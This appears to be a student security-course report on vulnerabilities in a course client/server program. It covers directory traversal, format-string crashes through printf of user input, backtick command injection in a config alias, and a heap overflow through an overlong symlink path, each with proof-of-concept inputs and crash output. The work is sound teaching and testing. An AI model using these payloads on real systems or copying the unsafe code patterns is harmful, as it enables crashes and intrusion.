Team 2

Directory Traversal

- We can directly cd into root directory.

```
cd $/
Message: Working directory changed!

ls
total 96
drwxr-xr-x   2 root root  12288 Mar 13 05:08 bin
drwxr-xr-x   4 root root   4096 Mar  6 05:10 boot
drwxr-xr-x  21 root root   4500 Mar 15 08:50 dev
drwxr-xr-x 136 root root  12288 Mar 20 05:10 etc
drwxr-xr-x   2 root root   4096 Apr 12  2016 home
drwxr-xr-x   2 root root      0 Mar 26 18:14 homes
lrwxrwxrwx   1 root root     32 Aug 31  2017 initrd.img -> boot/initrd.img-
4.4.0-62-generic
drwxr-xr-x  18 root root   4096 Feb 22 10:53 lib
drwxr-xr-x   2 root root   4096 Jan 23 05:09 lib64
drwx------   2 root root  16384 Aug 31  2017 lost+found
drwxr-xr-x   3 root root   4096 Aug 31  2017 media
...
```

- This can be used to overwrite the configuration file and thus allows for command injection when the server restarts.

Format string

- All commands sent by the user are printed first. So we can crash the server by sending a bunch of %s.

```
n = read(sock_id_new,internal,sizeof(internal));
printf(internal);
```

```
Client:

%s%s%s%s%s%s%s%s%s
Error: read failed!
mc02 63 $

Server:

mc02 73 $ ./server
Segmentation fault (core dumped)
mc02 74 $
```

- The server when starting up, takes a few arguments which are not used. But these arguments are copied using an snprintf command.

```
char givenArgs[10];
for(int i=1; i<argc; i++)
{
  if(strlen(argv[i]) < 10)
  {
    sprintf(givenArgs,argv[i]);
  }


mc02 75 $ ./server %s%s%s%s
Segmentation fault (core dumped)
mc02 76 $
```

Command injection

- The alias commands do not take user parameters, so we need to modify the config file directly for this

```
Sploit.conf:

alias echo echo hi`date`

Client:

mc02 108 $ ./client 127.0.0.1 12345
echo
hiMon Mar 26 19:55:02 EDT 2018
```

Buffer overflow

- The cd command uses the realpath function which expands symbolic links. The program allocates a malloc chunk of 1000 bytes to store the path, but filters out path lengths greater than 1000. So we use the symbolic link we create and try cd into that.

```
Symbolic link:
ln -s
/homes/njaganna/CS527Phase2/team2/CS527Proj/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA mydir
```

```
Client:

mc02 159 $ ../client 127.0.0.1 3490
login $n
Message: Please enter the password command

pass $1
Login Succesful!

cd $mydir
Message: Working directory changed!
```

```
Server:

mc02 142 $ ./server
*** Error in `./server': malloc(): memory corruption: 0x0000000001b5d680 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fe230e157e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7fe230e2013e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7fe230e22184]
/usr/lib/x86_64-linux-gnu/libstdc++.so.6(_Znwm+0x18)[0x7fe23140be78]
/usr/lib/x86_64-linux-
gnu/libstdc++.so.6(_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_M_co
nstructIPKcEEvT_S8_St20forward_iterator_tag+0x8d)[0x7fe23149faed]
/usr/lib/x86_64-linux-
gnu/libstdc++.so.6(_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcR
KS3_+0x3c)[0x7fe23149fc4c]
./server[0x40613b]
...
```